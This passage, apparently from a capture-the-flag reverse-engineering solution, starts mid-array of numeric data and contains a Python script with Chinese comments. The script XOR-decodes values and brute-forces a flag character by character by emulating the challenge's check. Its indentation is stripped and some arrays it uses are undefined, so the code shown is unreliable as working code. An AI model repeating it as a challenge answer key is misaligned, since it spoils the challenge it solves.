0,0, 0, 246, 0, 0, 0, 102, 0, 0, 0,246, 0, 0, 0, 7, 0, 0, 0, 246, 0,0, 0, 102, 0, 0, 0, 246, 0, 0, 0,14, 0, 0, 0, 246, 0, 0, 0, 102, 0,0, 0, 246, 0, 0, 0, 70, 0, 0, 0,246, 0, 0, 0, 102, 0, 0, 0, 246, 0,0, 0, 3, 0, 0, 0, 246, 0, 0, 0,102, 0, 0, 0, 246, 0, 0, 0, 4, 0,0, 0, 246, 0, 0, 0, 102, 0, 0, 0,246, 0, 0, 0, 70, 0, 0, 0, 246, 0,0, 0, 102, 0, 0, 0, 246, 0, 0, 0,10, 0, 0, 0, 246, 0, 0, 0, 102, 0,0, 0, 246, 0, 0, 0, 10, 0, 0, 0,246, 0, 0, 0, 102, 0, 0, 0, 246, 0,0, 0, 15, 0, 0, 0, 246, 0, 0, 0,102, 0, 0, 0, 246, 0, 0, 0, 17, 0,0, 0, 246, 0, 0, 0, 102, 0, 0, 0,246, 0, 0, 0, 70, 0, 0, 0, 246, 0,0, 0, 102, 0, 0, 0, 246, 0, 0, 0,19, 0, 0, 0, 246, 0, 0, 0, 102, 0,0, 0, 246, 0, 0, 0, 9, 0, 0, 0,246, 0, 0, 0, 102, 0, 0, 0, 246, 0,0, 0, 31, 0, 0, 0, 246, 0, 0, 0,102, 0, 0, 0, 246, 0, 0, 0, 70, 0,0, 0, 246, 0, 0, 0, 102, 0, 0, 0,246, 0, 0, 0, 74, 0, 0, 0, 246, 0,0, 0, 102, 0, 0, 0, 246, 0, 0, 0,31, 0, 0, 0, 246, 0, 0, 0, 102, 0,0, 0, 246, 0, 0, 0, 10, 0, 0, 0,246, 0, 0, 0, 102, 0, 0, 0, 246, 0,0, 0, 18, 0, 0, 0, 246, 0, 0, 0,102, 0, 0, 0, 246, 0, 0, 0, 5, 0,0, 0, 246, 0, 0, 0, 102, 0, 0, 0,246, 0, 0, 0, 3, 0, 0, 0, 246, 0,0, 0, 102, 0, 0, 0, 246, 0, 0, 0,20, 0, 0, 0, 246, 0, 0, 0, 102, 0,0, 0, 246, 0, 0, 0, 20, 0, 0, 0,246, 0, 0, 0, 102, 0, 0, 0, 246, 0,0, 0, 9, 0, 0, 0, 246, 0, 0, 0,102, 0, 0, 0, 246, 0, 0, 0, 5, 0,0, 0, 246, 0, 0, 0, 102, 0, 0, 0,246, 0, 0, 0, 8, 0, 0, 0, 246, 0,0, 0, 102, 0, 0, 0, 246, 0, 0, 0,15, 0, 0, 0, 246, 0, 0, 0, 102, 0,0, 0, 246, 0, 0, 0, 70, 0, 0, 0,246, 0, 0, 0, 102, 0, 0, 0, 246, 0,0, 0, 1, 0, 0, 0, 246, 0, 0, 0,102, 0, 0, 0, 246, 0, 0, 0, 7, 0,0, 0, 246, 0, 0, 0, 102, 0, 0, 0,246, 0, 0, 0, 10, 0, 0, 0, 246, 0,0, 0, 102, 0, 0, 0, 246, 0, 0, 0,0, 0, 0, 0, 246, 0, 0, 0, 102, 0,0, 0, 246, 0, 0, 0, 70, 0, 0, 0,246, 0, 0, 0, 102, 0, 0, 0, 246, 0,0, 0, 3, 0, 0, 0, 246, 0, 0, 0,102, 0, 0, 0, 246, 0, 0, 0, 14, 0,0, 0, 246, 0, 0, 0, 102, 0, 0, 0,246, 0, 0, 0, 18, 0, 0, 0, 246, 0,0, 0, 102, 0, 0, 0, 246, 0, 0, 0,70, 0, 0, 0, 246, 0, 0, 0, 102, 0,0, 0, 246, 0, 0, 0, 20, 0, 0, 0,246, 0, 0, 0, 102, 0, 0, 0, 246, 0,0, 0, 3, 0, 0, 0, 246, 0, 0, 0,102, 0, 0, 0, 246, 0, 0, 0, 17, 0,0, 0, 246, 0, 0, 0, 102, 0, 0, 0,246, 0, 0, 0, 21, 0, 0, 0, 246, 0,0, 0, 102, 0, 0, 0, 246, 0, 0, 0,8, 0, 0, 0, 246, 0, 0, 0, 102, 0,0, 0, 246, 0, 0, 0, 7, 0, 0, 0,246, 0, 0, 0, 102, 0, 0, 0, 246, 0,0, 0, 70, 0, 0, 0, 246, 0, 0, 0,102, 0, 0, 0, 246, 0, 0, 0, 19, 0,0, 0, 246, 0, 0, 0, 102, 0, 0, 0,246, 0, 0, 0, 9, 0, 0, 0, 246, 0,0, 0, 102, 0, 0, 0, 246, 0, 0, 0,31, 0, 0, 0, 246, 0, 0, 0, 102, 0,0, 0, 246, 0, 0, 0, 70, 0, 0, 0,246, 0, 0, 0, 102, 0, 0, 0, 246, 0,0, 0, 0, 0, 0, 0, 246, 0, 0, 0,102, 0, 0, 0, 246, 0, 0, 0, 47, 0,0, 0, 246, 0, 0, 0, 102, 0, 0, 0,247, 0, 0, 0]

m=[]
for i in range(4,len(f1),8):
m.append(f1[i])
for i in reversed(range(0,len(m),2)):
print(chr(m[i]^m[i-1]),end='')

flag='mi'

a1 = ord(flag[1])
v7 = ord(flag[0])

p = f.index(244)
print(p)
i = 2


def panduan(flag):
# 判断flag是否正确
a1 = ord(flag[1])
v7 = ord(flag[0])

p = f.index(244)
i = 2
while p <= len(f):

# print(v7)
a1 += f[p + 12]
a1 %= 256
# print(a1)
v7 += f[p + 20]+ f[p + 4]
v7 %= 256
# print(v7)
v7 = v7 ^ a1
v7 %= 256
# print(f"{v7}---{f[p+32]}")
if i == len(flag):
if v7 == f[p + 32]:
return True
else:
return False
v7 = a1
v7 %= 256
# print(v7)
try:
a1 = ord(flag[i])
except:
break
# print(a1)
i += 1
p += 56



for i in range(2,45):
print(f'正在爆破第{i}位字符...')
for k in range(127):
# flag是用户输入的字符串,开头一定是mini,长度大概44
if panduan(flag + chr(k)):
flag += chr(k)
print(flag)
break
else:
continue